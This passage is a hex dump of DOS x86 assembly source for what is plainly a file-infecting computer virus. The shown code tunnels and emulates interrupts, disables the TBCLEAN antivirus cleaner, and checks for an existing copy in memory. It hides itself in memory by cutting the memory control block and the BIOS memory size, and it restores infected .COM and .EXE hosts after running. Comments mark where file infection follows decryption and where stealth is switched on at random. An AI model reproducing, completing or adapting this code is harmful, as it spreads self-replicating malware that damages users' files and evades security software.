|00004640| 20 20 20 20 20 61 6c 2c | 30 63 66 68 20 20 20 20 | al,|0cfh |
|00004650| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 3b 20 49 | | ; I|
|00004660| 52 45 54 3f 0a 20 20 20 | 20 20 20 20 20 20 20 20 |RET?. | |
|00004670| 20 20 20 20 20 6a 6e 65 | 20 20 20 20 20 65 6d 75 | jne| emu|
|00004680| 6c 61 74 65 5f 69 6e 74 | 0a 20 20 20 20 20 20 20 |late_int|. |
|00004690| 20 20 20 20 20 20 20 20 | 20 70 6f 70 20 20 20 20 | | pop |
|000046a0| 20 62 78 20 63 78 20 64 | 78 20 20 20 20 20 20 20 | bx cx d|x |
|000046b0| 20 20 20 20 20 20 20 20 | 20 3b 20 66 61 6b 65 20 | | ; fake |
|000046c0| 49 52 45 54 0a 20 20 20 | 20 20 20 20 20 20 20 20 |IRET. | |
|000046d0| 20 20 20 20 20 6a 6d 70 | 20 20 20 20 20 65 6d 75 | jmp| emu|
|000046e0| 6c 61 74 65 5f 74 66 0a | 0a 65 6d 75 6c 61 74 65 |late_tf.|.emulate|
|000046f0| 5f 69 6e 74 3a 20 20 20 | 20 63 6d 70 20 20 20 20 |_int: | cmp |
|00004700| 20 61 6c 2c 30 63 64 68 | 20 20 20 20 20 20 20 20 | al,0cdh| |
|00004710| 20 20 20 20 20 20 20 20 | 20 3b 20 49 6e 74 20 78 | | ; Int x|
|00004720| 78 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |x. | |
|00004730| 20 20 6a 65 20 20 20 20 | 20 20 65 6d 75 6c 61 74 | je | emulat|
|00004740| 65 5f 69 6e 74 5f 78 78 | 0a 20 20 20 20 20 20 20 |e_int_xx|. |
|00004750| 20 20 20 20 20 20 20 20 | 20 63 6d 70 20 20 20 20 | | cmp |
|00004760| 20 61 6c 2c 30 63 63 68 | 20 20 20 20 20 20 20 20 | al,0cch| |
|00004770| 20 20 20 20 20 20 20 20 | 20 3b 20 49 6e 74 20 33 | | ; Int 3|
|00004780| 3f 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |?. | |
|00004790| 20 20 6d 6f 76 20 20 20 | 20 20 61 68 2c 33 0a 20 | mov | ah,3. |
|000047a0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 6a | | j|
|000047b0| 65 20 20 20 20 20 20 65 | 6d 75 6c 61 74 65 5f 69 |e e|mulate_i|
|000047c0| 6e 74 5f 78 0a 20 20 20 | 20 20 20 20 20 20 20 20 |nt_x. | |
|000047d0| 20 20 20 20 20 63 6d 70 | 20 20 20 20 20 61 6c 2c | cmp| al,|
|000047e0| 30 63 65 68 20 20 20 20 | 20 20 20 20 20 20 20 20 |0ceh | |
|000047f0| 20 20 20 20 20 3b 20 49 | 6e 74 6f 3f 0a 20 20 20 | ; I|nto?. |
|00004800| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 6d 6f 76 | | mov|
|00004810| 20 20 20 20 20 61 68 2c | 34 0a 20 20 20 20 20 20 | ah,|4. |
|00004820| 20 20 20 20 20 20 20 20 | 20 20 6a 6e 65 20 20 20 | | jne |
|00004830| 20 20 74 72 61 63 65 72 | 5f 69 72 65 74 0a 20 20 | tracer|_iret. |
|00004840| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 74 65 | | te|
|00004850| 73 74 20 20 20 20 64 68 | 2c 38 20 20 20 20 20 20 |st dh|,8 |
|00004860| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 3b 20 | | ; |
|00004870| 4f 46 20 73 65 74 3f 0a | 20 20 20 20 20 20 20 20 |OF set?.| |
|00004880| 20 20 20 20 20 20 20 20 | 6a 65 20 20 20 20 20 20 | |je |
|00004890| 74 72 61 63 65 72 5f 69 | 72 65 74 0a 65 6d 75 6c |tracer_i|ret.emul|
|000048a0| 61 74 65 5f 69 6e 74 5f | 78 3a 20 20 64 65 63 20 |ate_int_|x: dec |
|000048b0| 20 20 20 20 62 78 20 20 | 20 20 20 20 20 20 20 20 | bx | |
|000048c0| 20 20 20 20 20 20 20 20 | 20 20 20 20 3b 20 5b 62 | | ; [b|
|000048d0| 78 2b 64 69 2b 32 2d 31 | 5d 0a 65 6d 75 6c 61 74 |x+di+2-1|].emulat|
|000048e0| 65 5f 69 6e 74 5f 78 78 | 3a 20 61 6e 64 20 20 20 |e_int_xx|: and |
|000048f0| 20 20 64 68 2c 6e 6f 74 | 20 31 20 20 20 20 20 20 | dh,not| 1 |
|00004900| 20 20 20 20 20 20 20 20 | 20 20 3b 20 54 46 20 6f | | ; TF o|
|00004910| 66 66 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |ff. | |
|00004920| 20 20 20 6c 65 61 20 20 | 20 20 20 62 78 2c 64 73 | lea | bx,ds|
|00004930| 3a 5b 62 78 20 2b 20 64 | 69 20 2b 20 32 5d 20 20 |:[bx + d|i + 2] |
|00004940| 20 20 20 3b 20 67 65 74 | 20 72 65 74 75 72 6e 20 | ; get| return |
|00004950| 61 64 64 72 65 73 73 0a | 20 20 20 20 20 20 20 20 |address.| |
|00004960| 20 20 20 20 20 20 20 20 | 70 75 73 68 20 20 20 20 | |push |
|00004970| 64 78 20 63 78 20 62 78 | 20 20 20 20 20 20 20 20 |dx cx bx| |
|00004980| 20 20 20 20 20 20 20 20 | 3b 20 66 61 6b 65 20 49 | |; fake I|
|00004990| 6e 74 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |nt. | |
|000049a0| 20 20 20 6d 6f 76 20 20 | 20 20 20 61 6c 2c 61 68 | mov | al,ah|
|000049b0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000049c0| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|000049d0| 20 70 75 73 68 20 20 20 | 20 65 73 0a 20 20 20 20 | push | es. |
|000049e0| 20 20 20 20 20 20 20 20 | 20 20 20 20 63 61 6c 6c | | call|
|000049f0| 20 20 20 20 67 65 74 5f | 69 6e 74 20 20 20 20 20 | get_|int |
|00004a00| 20 20 20 20 20 20 20 20 | 20 20 20 20 3b 20 67 65 | | ; ge|
|00004a10| 74 20 69 6e 74 65 72 72 | 75 70 74 20 61 64 64 72 |t interr|upt addr|
|00004a20| 65 73 73 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |ess. | |
|00004a30| 20 20 20 20 6d 6f 76 20 | 20 20 20 20 63 78 2c 65 | mov | cx,e|
|00004a40| 73 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |s. | |
|00004a50| 20 20 70 6f 70 20 20 20 | 20 20 65 73 0a 20 20 20 | pop | es. |
|00004a60| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 6a 6d 70 | | jmp|
|00004a70| 20 20 20 20 20 65 6d 75 | 6c 61 74 65 5f 74 66 0a | emu|late_tf.|
|00004a80| 0a 74 72 61 63 65 72 5f | 69 72 65 74 3a 20 20 20 |.tracer_|iret: |
|00004a90| 20 70 75 73 68 20 20 20 | 20 64 78 20 63 78 20 62 | push | dx cx b|
|00004aa0| 78 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |x | |
|00004ab0| 20 3b 20 73 61 76 65 20 | 66 6c 61 67 73 2c 20 63 | ; save |flags, c|
|00004ac0| 73 20 26 20 69 70 0a 20 | 20 20 20 20 20 20 20 20 |s & ip. | |
|00004ad0| 20 20 20 20 20 20 20 6d | 6f 76 20 20 20 20 20 61 | m|ov a|
|00004ae0| 78 2c 30 0a 6f 6c 64 5f | 64 73 20 20 20 20 20 20 |x,0.old_|ds |
|00004af0| 20 20 20 20 3d 20 20 20 | 20 20 20 20 77 6f 72 64 | = | word|
|00004b00| 20 70 74 72 20 24 20 2d | 20 32 0a 20 20 20 20 20 | ptr $ -| 2. |
|00004b10| 20 20 20 20 20 20 20 20 | 20 20 20 6d 6f 76 20 20 | | mov |
|00004b20| 20 20 20 64 73 2c 61 78 | 0a 20 20 20 20 20 20 20 | ds,ax|. |
|00004b30| 20 20 20 20 20 20 20 20 | 20 6d 6f 76 20 20 20 20 | | mov |
|00004b40| 20 61 78 2c 30 0a 6f 6c | 64 5f 61 78 20 20 20 20 | ax,0.ol|d_ax |
|00004b50| 20 20 20 20 20 20 3d 20 | 20 20 20 20 20 20 77 6f | = | wo|
|00004b60| 72 64 20 70 74 72 20 24 | 20 2d 20 32 0a 20 20 20 |rd ptr $| - 2. |
|00004b70| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 6d 6f 76 | | mov|
|00004b80| 20 20 20 20 20 62 78 2c | 30 0a 6f 6c 64 5f 62 78 | bx,|0.old_bx|
|00004b90| 20 20 20 20 20 20 20 20 | 20 20 3d 20 20 20 20 20 | | = |
|00004ba0| 20 20 77 6f 72 64 20 70 | 74 72 20 24 20 2d 20 32 | word p|tr $ - 2|
|00004bb0| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|00004bc0| 20 6d 6f 76 20 20 20 20 | 20 63 78 2c 30 0a 6f 6c | mov | cx,0.ol|
|00004bd0| 64 5f 63 78 20 20 20 20 | 20 20 20 20 20 20 3d 20 |d_cx | = |
|00004be0| 20 20 20 20 20 20 77 6f | 72 64 20 70 74 72 20 24 | wo|rd ptr $|
|00004bf0| 20 2d 20 32 0a 20 20 20 | 20 20 20 20 20 20 20 20 | - 2. | |
|00004c00| 20 20 20 20 20 6d 6f 76 | 20 20 20 20 20 64 78 2c | mov| dx,|
|00004c10| 30 0a 6f 6c 64 5f 64 78 | 20 20 20 20 20 20 20 20 |0.old_dx| |
|00004c20| 20 20 3d 20 20 20 20 20 | 20 20 77 6f 72 64 20 70 | = | word p|
|00004c30| 74 72 20 24 20 2d 20 32 | 0a 20 20 20 20 20 20 20 |tr $ - 2|. |
|00004c40| 20 20 20 20 20 20 20 20 | 20 6d 6f 76 20 20 20 20 | | mov |
|00004c50| 20 64 69 2c 30 0a 6f 6c | 64 5f 64 69 20 20 20 20 | di,0.ol|d_di |
|00004c60| 20 20 20 20 20 20 3d 20 | 20 20 20 20 20 20 77 6f | = | wo|
|00004c70| 72 64 20 70 74 72 20 24 | 20 2d 20 32 0a 20 20 20 |rd ptr $| - 2. |
|00004c80| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 69 72 65 | | ire|
|00004c90| 74 0a 0a 3b 3d 3d 3d 3d | 3d 28 20 66 69 6c 65 20 |t..;====|=( file |
|00004ca0| 69 6e 66 65 63 74 69 6f | 6e 73 20 63 6f 6d 65 20 |infectio|ns come |
|00004cb0| 68 65 72 65 20 61 66 74 | 65 72 20 64 65 63 72 79 |here aft|er decry|
|00004cc0| 70 74 69 6f 6e 20 29 3d | 3d 3d 3d 3d 3d 3d 3d 3d |ption )=|========|
|00004cd0| 3d 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3d 3d 3d 3d |========|========|
|00004ce0| 3b 0a 0a 66 69 6c 65 5f | 73 74 61 72 74 3a 20 20 |;..file_|start: |
|00004cf0| 20 20 20 70 75 73 68 20 | 20 20 20 64 73 20 20 20 | push | ds |
|00004d00| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00004d10| 20 20 20 3b 20 73 61 76 | 65 20 50 53 50 20 73 65 | ; sav|e PSP se|
|00004d20| 67 6d 65 6e 74 0a 20 20 | 20 20 20 20 20 20 20 20 |gment. | |
|00004d30| 20 20 20 20 20 20 63 61 | 6c 6c 20 20 20 20 24 20 | ca|ll $ |
|00004d40| 2b 20 33 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |+ 3. | |
|00004d50| 20 20 20 20 70 6f 70 20 | 20 20 20 20 73 69 0a 20 | pop | si. |
|00004d60| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 73 | | s|
|00004d70| 75 62 20 20 20 20 20 73 | 69 2c 6f 66 66 73 65 74 |ub s|i,offset|
|00004d80| 20 24 20 2d 20 31 0a 20 | 20 20 20 20 20 20 20 20 | $ - 1. | |
|00004d90| 20 20 20 20 20 20 20 63 | 61 6c 6c 20 20 20 20 61 | c|all a|
|00004da0| 6e 74 69 5f 74 62 63 6c | 65 61 6e 20 20 20 20 20 |nti_tbcl|ean |
|00004db0| 20 20 20 20 20 20 20 3b | 20 64 69 73 61 62 6c 65 | ;| disable|
|00004dc0| 20 54 42 43 4c 45 41 4e | 0a 20 20 20 20 20 20 20 | TBCLEAN|. |
|00004dd0| 20 20 20 20 20 20 20 20 | 20 6f 72 20 20 20 20 20 | | or |
|00004de0| 20 62 70 2c 62 70 20 20 | 20 20 20 20 20 20 20 20 | bp,bp | |
|00004df0| 20 20 20 20 20 20 20 20 | 20 3b 20 54 42 43 4c 45 | | ; TBCLE|
|00004e00| 41 4e 20 61 63 74 69 76 | 65 3f 0a 20 20 20 20 20 |AN activ|e?. |
|00004e10| 20 20 20 20 20 20 20 20 | 20 20 20 6a 6e 65 20 20 | | jne |
|00004e20| 20 20 20 67 6f 5f 72 65 | 73 0a 20 20 20 20 20 20 | go_re|s. |
|00004e30| 20 20 20 20 20 20 20 20 | 20 20 6d 6f 76 20 20 20 | | mov |
|00004e40| 20 20 61 68 2c 33 30 68 | 0a 20 20 20 20 20 20 20 | ah,30h|. |
|00004e50| 20 20 20 20 20 20 20 20 | 20 6d 6f 76 20 20 20 20 | | mov |
|00004e60| 20 62 78 2c 2d 36 36 36 | 68 0a 20 20 20 20 20 20 | bx,-666|h. |
|00004e70| 20 20 20 20 20 20 20 20 | 20 20 69 6e 74 20 20 20 | | int |
|00004e80| 20 20 32 31 68 0a 20 20 | 20 20 20 20 20 20 20 20 | 21h. | |
|00004e90| 20 20 20 20 20 20 63 6d | 70 20 20 20 20 20 61 6c | cm|p al|
|00004ea0| 2c 33 68 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |,3h | |
|00004eb0| 20 20 20 20 20 20 3b 20 | 6d 75 73 74 20 62 65 20 | ; |must be |
|00004ec0| 44 4f 53 20 33 2b 0a 20 | 20 20 20 20 20 20 20 20 |DOS 3+. | |
|00004ed0| 20 20 20 20 20 20 20 6a | 62 20 20 20 20 20 20 6a | j|b j|
|00004ee0| 75 6d 70 5f 68 6f 73 74 | 0a 67 6f 5f 72 65 73 3a |ump_host|.go_res:|
|00004ef0| 20 20 20 20 20 20 20 20 | 20 6d 6f 76 20 20 20 20 | | mov |
|00004f00| 20 61 78 2c 65 73 0a 20 | 20 20 20 20 20 20 20 20 | ax,es. | |
|00004f10| 20 20 20 20 20 20 20 64 | 65 63 20 20 20 20 20 61 | d|ec a|
|00004f20| 78 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |x. | |
|00004f30| 20 20 6d 6f 76 20 20 20 | 20 20 64 73 2c 61 78 0a | mov | ds,ax.|
|00004f40| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00004f50| 78 6f 72 20 20 20 20 20 | 64 69 2c 64 69 0a 20 20 |xor |di,di. |
|00004f60| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 6f 72 | | or|
|00004f70| 20 20 20 20 20 20 62 70 | 2c 62 70 20 20 20 20 20 | bp|,bp |
|00004f80| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 3b 20 | | ; |
|00004f90| 54 42 43 4c 45 41 4e 20 | 68 65 72 65 3f 0a 20 20 |TBCLEAN |here?. |
|00004fa0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 6a 6e | | jn|
|00004fb0| 65 20 20 20 20 20 64 6f | 6e 74 5f 63 68 65 63 6b |e do|nt_check|
|00004fc0| 5f 6d 63 62 0a 20 20 20 | 20 20 20 20 20 20 20 20 |_mcb. | |
|00004fd0| 20 20 20 20 20 63 6d 70 | 20 20 20 20 20 62 79 74 | cmp| byt|
|00004fe0| 65 20 70 74 72 20 64 73 | 3a 5b 64 69 5d 2c 27 5a |e ptr ds|:[di],'Z|
|00004ff0| 27 20 20 20 20 3b 20 4c | 61 73 74 20 42 6c 6f 63 |' ; L|ast Bloc|
|00005000| 6b 3f 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |k?. | |
|00005010| 20 20 20 6a 6e 65 20 20 | 20 20 20 6a 75 6d 70 5f | jne | jump_|
|00005020| 68 6f 73 74 0a 64 6f 6e | 74 5f 63 68 65 63 6b 5f |host.don|t_check_|
|00005030| 6d 63 62 3a 20 6d 6f 76 | 20 20 20 20 20 61 78 2c |mcb: mov| ax,|
|00005040| 70 61 72 61 5f 73 69 7a | 65 0a 20 20 20 20 20 20 |para_siz|e. |
|00005050| 20 20 20 20 20 20 20 20 | 20 20 73 75 62 20 20 20 | | sub |
|00005060| 20 20 64 73 3a 5b 64 69 | 20 2b 20 33 5d 2c 61 78 | ds:[di| + 3],ax|
|00005070| 20 20 20 20 20 20 20 20 | 20 20 3b 20 66 72 6f 6d | | ; from|
|00005080| 20 4d 43 42 0a 20 20 20 | 20 20 20 20 20 20 20 20 | MCB. | |
|00005090| 20 20 20 20 20 73 75 62 | 20 20 20 20 20 64 73 3a | sub| ds:|
|000050a0| 5b 64 69 20 2b 20 31 32 | 68 5d 2c 61 78 20 20 20 |[di + 12|h],ax |
|000050b0| 20 20 20 20 20 3b 20 66 | 72 6f 6d 20 50 53 50 0a | ; f|rom PSP.|
|000050c0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000050d0| 6d 6f 76 20 20 20 20 20 | 65 73 2c 64 73 3a 5b 64 |mov |es,ds:[d|
|000050e0| 69 20 2b 20 31 32 68 5d | 20 20 20 20 20 20 20 20 |i + 12h]| |
|000050f0| 3b 20 67 65 74 20 6d 65 | 6d 6f 72 79 20 61 64 64 |; get me|mory add|
|00005100| 72 65 73 73 0a 20 20 20 | 20 20 20 20 20 20 20 20 |ress. | |
|00005110| 20 20 20 20 20 6d 6f 76 | 20 20 20 20 20 64 73 2c | mov| ds,|
|00005120| 64 69 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |di. | |
|00005130| 20 20 20 73 75 62 20 20 | 20 20 20 77 6f 72 64 20 | sub | word |
|00005140| 70 74 72 20 64 73 3a 5b | 34 31 33 68 5d 2c 6b 69 |ptr ds:[|413h],ki|
|00005150| 6c 6f 5f 73 69 7a 65 20 | 3b 20 66 72 6f 6d 20 69 |lo_size |; from i|
|00005160| 6e 74 20 31 32 68 0a 20 | 20 20 20 20 20 20 20 20 |nt 12h. | |
|00005170| 20 20 20 20 20 20 20 6d | 6f 76 20 20 20 20 20 63 | m|ov c|
|00005180| 78 2c 6a 75 6d 70 5f 63 | 6f 64 65 5f 31 33 2d 76 |x,jump_c|ode_13-v|
|00005190| 5f 73 74 61 72 74 0a 20 | 20 20 20 20 20 20 20 20 |_start. | |
|000051a0| 20 20 20 20 20 20 20 63 | 6c 64 0a 20 20 20 20 20 | c|ld. |
|000051b0| 20 20 20 20 20 20 20 20 | 20 20 20 72 65 70 20 20 | | rep |
|000051c0| 20 20 20 6d 6f 76 73 20 | 62 79 74 65 20 70 74 72 | movs |byte ptr|
|000051d0| 20 65 73 3a 5b 64 69 5d | 2c 62 79 74 65 20 70 74 | es:[di]|,byte pt|
|000051e0| 72 20 63 73 3a 5b 73 69 | 5d 20 20 0a 20 20 20 20 |r cs:[si|] . |
|000051f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 6d 6f 76 20 | | mov |
|00005200| 20 20 20 20 61 78 2c 6f | 66 66 73 65 74 20 68 69 | ax,o|ffset hi|
|00005210| 67 68 5f 63 6f 64 65 0a | 20 20 20 20 20 20 20 20 |gh_code.| |
|00005220| 20 20 20 20 20 20 20 20 | 70 75 73 68 20 20 20 20 | |push |
|00005230| 65 73 20 61 78 0a 20 20 | 20 20 20 20 20 20 20 20 |es ax. | |
|00005240| 20 20 20 20 20 20 72 65 | 74 66 0a 0a 6a 75 6d 70 | re|tf..jump|
|00005250| 5f 68 6f 73 74 3a 20 20 | 20 20 20 20 70 75 73 68 |_host: | push|
|00005260| 20 20 20 20 63 73 0a 20 | 20 20 20 20 20 20 20 20 | cs. | |
|00005270| 20 20 20 20 20 20 20 70 | 6f 70 20 20 20 20 20 64 | p|op d|
|00005280| 73 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |s. | |
|00005290| 20 20 70 6f 70 20 20 20 | 20 20 65 73 20 20 20 20 | pop | es |
|000052a0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000052b0| 20 20 3b 20 50 53 50 20 | 73 65 67 6d 65 6e 74 0a | ; PSP |segment.|
|000052c0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000052d0| 6c 65 61 20 20 20 20 20 | 73 69 2c 64 73 3a 5b 73 |lea |si,ds:[s|
|000052e0| 69 20 2b 20 68 65 61 64 | 65 72 5d 20 20 20 20 20 |i + head|er] |
|000052f0| 3b 20 67 65 74 20 61 64 | 64 72 65 73 73 20 6f 66 |; get ad|dress of|
|00005300| 20 68 65 61 64 65 72 0a | 20 20 20 20 20 20 20 20 | header.| |
|00005310| 20 20 20 20 20 20 20 20 | 6d 6f 76 20 20 20 20 20 | |mov |
|00005320| 61 78 2c 64 73 3a 5b 73 | 69 5d 20 20 20 20 20 20 |ax,ds:[s|i] |
|00005330| 20 20 20 20 20 20 20 20 | 3b 20 67 65 74 20 31 73 | |; get 1s|
|00005340| 74 20 69 6e 73 74 72 75 | 63 74 69 6f 6e 0a 20 20 |t instru|ction. |
|00005350| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 63 6d | | cm|
|00005360| 70 20 20 20 20 20 61 78 | 2c 27 5a 4d 27 20 20 20 |p ax|,'ZM' |
|00005370| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 3b 20 | | ; |
|00005380| 45 58 45 3f 0a 20 20 20 | 20 20 20 20 20 20 20 20 |EXE?. | |
|00005390| 20 20 20 20 20 6a 65 20 | 20 20 20 20 20 6a 75 6d | je | jum|
|000053a0| 70 5f 32 5f 65 78 65 0a | 20 20 20 20 20 20 20 20 |p_2_exe.| |
|000053b0| 20 20 20 20 20 20 20 20 | 63 6d 70 20 20 20 20 20 | |cmp |
|000053c0| 61 78 2c 27 4d 5a 27 20 | 20 20 20 20 20 20 20 20 |ax,'MZ' | |
|000053d0| 20 20 20 20 20 20 20 20 | 3b 20 45 58 45 3f 0a 20 | |; EXE?. |
|000053e0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 6a | | j|
|000053f0| 65 20 20 20 20 20 20 6a | 75 6d 70 5f 32 5f 65 78 |e j|ump_2_ex|
|00005400| 65 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |e. | |
|00005410| 20 20 6d 6f 76 20 20 20 | 20 20 63 78 2c 31 38 68 | mov | cx,18h|
|00005420| 20 2f 20 32 0a 20 20 20 | 20 20 20 20 20 20 20 20 | / 2. | |
|00005430| 20 20 20 20 20 6d 6f 76 | 20 20 20 20 20 64 69 2c | mov| di,|
|00005440| 31 30 30 68 0a 20 20 20 | 20 20 20 20 20 20 20 20 |100h. | |
|00005450| 20 20 20 20 20 70 75 73 | 68 20 20 20 20 65 73 20 | pus|h es |
|00005460| 64 69 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |di. | |
|00005470| 20 20 20 63 6c 64 0a 20 | 20 20 20 20 20 20 20 20 | cld. | |
|00005480| 20 20 20 20 20 20 20 72 | 65 70 20 20 20 20 20 6d | r|ep m|
|00005490| 6f 76 73 77 20 20 20 20 | 20 20 20 20 20 20 20 20 |ovsw | |
|000054a0| 20 20 20 20 20 20 20 3b | 20 72 65 70 61 69 72 20 | ;| repair |
|000054b0| 2e 43 4f 4d 20 66 69 6c | 65 0a 20 20 20 20 20 20 |.COM fil|e. |
|000054c0| 20 20 20 20 20 20 20 20 | 20 20 70 75 73 68 20 20 | | push |
|000054d0| 20 20 65 73 0a 20 20 20 | 20 20 20 20 20 20 20 20 | es. | |
|000054e0| 20 20 20 20 20 70 6f 70 | 20 20 20 20 20 64 73 0a | pop| ds.|
|000054f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00005500| 78 63 68 67 20 20 20 20 | 61 78 2c 63 78 0a 20 20 |xchg |ax,cx. |
|00005510| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 72 65 | | re|
|00005520| 74 66 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |tf. | |
|00005530| 20 20 20 0a 6a 75 6d 70 | 5f 32 5f 65 78 65 3a 20 | .jump|_2_exe: |
|00005540| 20 20 20 20 6d 6f 76 20 | 20 20 20 20 61 78 2c 65 | mov | ax,e|
|00005550| 73 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |s. | |
|00005560| 20 20 61 64 64 20 20 20 | 20 20 61 78 2c 31 30 68 | add | ax,10h|
|00005570| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|00005580| 20 61 64 64 20 20 20 20 | 20 64 73 3a 5b 73 69 2e | add | ds:[si.|
|00005590| 65 68 5f 63 73 5d 2c 61 | 78 0a 20 20 20 20 20 20 |eh_cs],a|x. |
|000055a0| 20 20 20 20 20 20 20 20 | 20 20 61 64 64 20 20 20 | | add |
|000055b0| 20 20 61 78 2c 64 73 3a | 5b 73 69 2e 65 68 5f 73 | ax,ds:|[si.eh_s|
|000055c0| 73 5d 20 20 20 20 20 20 | 20 20 3b 20 67 65 74 20 |s] | ; get |
|000055d0| 53 53 2f 43 53 0a 20 20 | 20 20 20 20 20 20 20 20 |SS/CS. | |
|000055e0| 20 20 20 20 20 20 70 75 | 73 68 20 20 20 20 65 73 | pu|sh es|
|000055f0| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|00005600| 20 70 6f 70 20 20 20 20 | 20 64 73 0a 20 20 20 20 | pop | ds. |
|00005610| 20 20 20 20 20 20 20 20 | 20 20 20 20 63 6c 69 0a | | cli.|
|00005620| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00005630| 6d 6f 76 20 20 20 20 20 | 73 73 2c 61 78 0a 20 20 |mov |ss,ax. |
|00005640| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 6d 6f | | mo|
|00005650| 76 20 20 20 20 20 73 70 | 2c 63 73 3a 5b 73 69 2e |v sp|,cs:[si.|
|00005660| 65 68 5f 73 70 5d 0a 20 | 20 20 20 20 20 20 20 20 |eh_sp]. | |
|00005670| 20 20 20 20 20 20 20 78 | 6f 72 20 20 20 20 20 61 | x|or a|
|00005680| 78 2c 61 78 0a 20 20 20 | 20 20 20 20 20 20 20 20 |x,ax. | |
|00005690| 20 20 20 20 20 73 74 69 | 0a 20 20 20 20 20 20 20 | sti|. |
|000056a0| 20 20 20 20 20 20 20 20 | 20 6a 6d 70 20 20 20 20 | | jmp |
|000056b0| 20 64 77 6f 72 64 20 70 | 74 72 20 63 73 3a 5b 73 | dword p|tr cs:[s|
|000056c0| 69 2e 65 68 5f 69 70 5d | 0a 0a 0a 68 69 67 68 5f |i.eh_ip]|...high_|
|000056d0| 63 6f 64 65 3a 20 20 20 | 20 20 20 70 75 73 68 20 |code: | push |
|000056e0| 20 20 20 63 73 0a 20 20 | 20 20 20 20 20 20 20 20 | cs. | |
|000056f0| 20 20 20 20 20 20 70 6f | 70 20 20 20 20 20 64 73 | po|p ds|
|00005700| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|00005710| 20 6d 6f 76 20 20 20 20 | 20 62 79 74 65 20 70 74 | mov | byte pt|
|00005720| 72 20 64 73 3a 5b 64 69 | 2b 6f 72 69 67 69 6e 2d |r ds:[di|+origin-|
|00005730| 6a 75 6d 70 5f 63 6f 64 | 65 5f 31 33 5d 2c 66 69 |jump_cod|e_13],fi|
|00005740| 6c 65 20 3b 20 74 75 6e | 6e 65 6c 20 20 20 20 20 |le ; tun|nel |
|00005750| 20 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | . | |
|00005760| 20 20 6d 6f 76 20 20 20 | 20 20 61 78 2c 32 0a 20 | mov | ax,2. |
|00005770| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 63 | | c|
|00005780| 61 6c 6c 20 20 20 20 72 | 61 6e 64 6f 6d 20 20 20 |all r|andom |
|00005790| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 3b | | ;|
|000057a0| 20 31 20 69 6e 20 33 20 | 63 68 61 6e 63 65 20 6f | 1 in 3 |chance o|
|000057b0| 66 20 6e 6f 20 73 74 65 | 61 6c 74 68 0a 20 20 20 |f no ste|alth. |
|000057c0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000057d0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000057e0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 3b 20 6f | | ; o|
|000057f0| 6e 20 73 70 65 63 69 61 | 6c 20 70 72 6f 67 72 61 |n specia|l progra|
|00005800| 6d 73 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |ms. | |
|00005810| 20 20 20 6d 6f 76 20 20 | 20 20 20 64 73 3a 63 68 | mov | ds:ch|
|00005820| 65 63 6b 5f 73 70 65 63 | 69 61 6c 2c 61 6c 0a 20 |eck_spec|ial,al. |
|00005830| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 6d | | m|
|00005840| 6f 76 20 20 20 20 20 64 | 73 3a 68 6f 6f 6b 5f 32 |ov d|s:hook_2|
|00005850| 31 2c 6e 6f 5f 68 6f 6f | 6b 5f 32 31 20 20 20 3b |1,no_hoo|k_21 ;|
